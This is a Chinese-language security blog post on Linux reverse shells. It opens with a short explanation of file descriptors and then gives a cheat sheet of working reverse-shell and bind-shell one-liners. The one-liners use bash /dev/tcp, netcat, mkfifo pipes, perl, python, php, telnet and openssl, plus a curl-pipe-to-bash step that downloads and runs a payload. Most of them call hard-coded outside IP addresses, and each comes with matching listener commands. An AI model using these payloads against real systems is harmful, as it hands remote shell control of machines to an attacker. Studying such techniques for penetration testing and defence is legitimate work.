linux反弹shell

web安全-linux反弹shell

linux文件描述符

文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件 文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容 在Linux系统中内核默认为每个进程创建三个标准的文件描述符:0(标准输入)、1(标准输出)、2(标准错误)

通过查看 /proc/PID/fd 目录下的文件,就可以查看每个进程拥有的所有文件描述符

image-20230826090524816

255是一个小技巧,bash用于在重定向时保留这些副本

当打开文件时,系统内核会为特定的进程自动创建对应的文件描述符,也就是说每一个进程的输入输出error不一样,不同的进程打开同一个文件时,它们的文件描述符可能不同,但同一个进程打开同一个文件时,它们的文件描述符是相同的。

linux文件描述符操作

以下操作只针对某一个进程

  1. 更改标准输出位置

    1
    exec 1> test

    image-20230826091742826

  2. image-20230826091803283

  3. image-20230826091837807

  4. /dev/null

    特殊文件,写入的任何东西都会被清空

    image-20230826091936362

bash反弹shell

bash反弹shell,只针对bash

由于外网机无法访问到内网机,但是内网机能ping外网机,于是使用反弹shell的方式,帮助外网机获得内网机的shell得到

反弹shell,就是可以理解为,外网可以执行内网机的shell,这里是bash

第一步首先让控制端监听端口

nc -lvvp 6666(端口)

第二步

bash -i >& /dev/tcp/被控端ip/与控制端相同的端口 0>&1

0>&1的意思是,本地的输出也输出给控制端,有点像发送信息

参数讲解

bash -i 打开一个交互式的bash shell。

/dev/tcp/IP/PORT

/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。 打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket 连接中传输数据。

/dev/tcp/192.168.81.154/6666

和192.168.81.154的6666端口建立TCP连接

Linux反弹shell的其他方法

NC3

  1. NC正向反弹

    正向的意思,由控制端主动发出请求,用于控制端能连接上被控端就行

    但是注意有可能nc不支持-e参数

    被控端:

    nc -lvvp 6666 -e /bin/sh

    控制端:

    nc 10.10.1.7 6666

    理:

    被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

    image-20230826111509035

  2. NC反向shell

    当被控端能够访问控制端的时候使用

    控制端:

    nc -lvvp 6666

    被控端:

    nc -e /bin/sh 10.10.1.11 6666

    原理:

    被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

    image-20230826111624663

    无e参数,反弹shell,有些情况下nc 指令没有-e的参数,就是用下面的命令

    1
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的 命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。

    1
    mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe

perl

控制端使用nc 监听即可

下面都是被控端的脚本

1
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

curl

主要是利用控制端,开一个server ,作为临时文件服务器

然后读取这个文件之后执行

文件服务器

1
2
3
4
5
6
root@VM-0-2-ubuntu:~# cat index.html
bash -i >& /dev/tcp/139.155.49.43/6666 0>&1

root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /index.html HTTP/1.1" 200 -

被控端

1
2
3
curl 139.155.49.43:8000|bash

curl http://139.155.49.43:8000/index.html|bash

python

控制端使用nc 监听即可

被控端

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

控制端使用nc 监听即可

被控端

1
php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

telnet

1
2
3
4
5
6
攻击机:
nc -lvvp 5555
nc -lvvp 6666

目标机:
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
1
2
3
4
5
6
攻击机:
nc -lvvp 6666

目标机:
rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet 47.101.214.85 6666 0<a | /bin/bash 1>a

openssl

反弹的是443 端口,并且传输的流量还是加密的

  1. 远程攻击主机生产密钥文件

    1
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  2. 远程攻击主机上启动监视器

    1
    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  3. 在目标机上反弹shell

    1
    mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

linux反弹shell
https://tsy244.github.io/2025/02/17/渗透/linux反弹shell/
Author
August Rosenberg
Posted on
February 17, 2025
Licensed under